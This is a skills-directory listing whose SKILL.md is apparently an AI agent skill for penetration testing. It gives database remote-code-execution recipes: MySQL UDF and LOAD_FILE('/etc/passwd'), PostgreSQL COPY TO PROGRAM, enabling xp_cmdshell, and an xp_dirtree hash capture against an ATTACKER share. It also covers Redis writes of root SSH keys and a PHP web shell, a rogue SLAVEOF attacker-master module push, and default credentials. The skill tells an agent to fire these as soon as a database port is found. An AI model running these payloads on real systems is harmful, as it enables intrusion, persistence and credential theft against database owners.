Skip to content
Back to skills

Database

CSecurity

Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.

  • 1,278 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added August 31, 2026
ai-agentspythonrustgophpshellsqldatabase

Works with

  • cli

Security analysis

C63/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 30, 2026

npx -y skills add s0ld13rr/pentestcode --skill database --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Database?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Database
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/s0ld13rr-database/badge)](https://www.skillsdirectory.com/skills/s0ld13rr-database)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: svc-database
description: Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.
---

# Database — RCE & Escalation Paths

Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.

## MySQL → RCE via UDF
Requires FILE privilege + write access to plugin dir. Upload `lib_mysqludf_sys.so` → `SELECT sys_exec('id')`.
Also: `SELECT LOAD_FILE('/etc/passwd')` for file read.

## PostgreSQL → RCE via COPY TO PROGRAM
Requires superuser: `COPY (SELECT '') TO PROGRAM 'id';`
Alternative: large object import/export for file read/write.

## MSSQL → xp_cmdshell
If disabled (common): `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;`
Then: `EXEC xp_cmdshell 'whoami';`
Hash capture: `EXEC xp_dirtree '\\ATTACKER\share';` → catch with Responder.

## Redis no-auth → RCE (two methods)
**SSH key write:**
```
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE
```
**Webshell (if web server co-hosted):**
```
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
```

## MongoDB / Elasticsearch — no auth = full dump
Both default to no authentication. Connect and enumerate immediately.

## 2024-2025 additions

### Redis (6379) — module loading RCE (CVE-2022-0543 / Lua sandbox escape)
- **Lua sandbox escape**: Redis <7.0.5 / 6.2.7 with Lua scripting enabled. `EVAL` payload escapes sandbox → RCE. Check version; if vulnerable, `redis-cli -h <target> eval ...`.
- **Module loading (Redis 4.0+)**: `MODULE LOAD /path/to/exp_lin.so` — requires `CONFIG SET dir` + write to module dir. If `redis-server` runs as root → instant root. `redis-rogue-server.py` automates.
- **Replication RCE**: `SLAVEOF <attacker-ip> <port>` → rogue master sends malicious module. Works even without `CONFIG` perms if replication allowed.

### PostgreSQL — `COPY TO PROGRAM` / extensions
- **`postgres_fdw` / `file_fdw`**: Foreign data wrappers for file read/write without superuser in some configs.
- **`plpython3u` / `plperlu`**: Trusted languages if installed → `CREATE FUNCTION ... LANGUAGE plpython3u` → RCE.
- **CVE-2024-10979** (libpq PQescapeLiteral overflow): Client-side; affects `psql` / libpq <17.1/16.5/15.9/14.14/13.17. Check client version.

### MySQL / MariaDB — UDF / plugin abuse
- **`plugin_dir` write**: If `secure_file_priv=''` and `plugin_dir` writable → `INSTALL PLUGIN` / `CREATE FUNCTION` UDF → RCE.
- **CVE-2024-21098 / CVE-2024-21103** (Oracle MySQL): Patched in 8.0.39+. Check version if target uses Oracle MySQL.
- **MariaDB `spider` / `connect` engines**: Federated engine abuse for arbitrary file read/write.

### MSSQL — `xp_cmdshell` / CLR
- **CLR Assembly**: `CREATE ASSEMBLY` from hex bytes → `CREATE PROCEDURE ... EXTERNAL NAME` → .NET RCE. Requires `PERMISSION_SET = UNSAFE` + `TRUSTWORTHY` or `SAFE` with signing.
- **`OPENROWSET` / `OPENDATASOURCE`**: `Ad Hoc Distributed Queries` enabled → read files / execute via `Microsoft.ACE.OLEDB.12.0`.

### Default creds worth trying
MySQL: `root` (no password), `root/root`. PostgreSQL: `postgres`/(empty). MSSQL: `sa`/(empty or common).

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.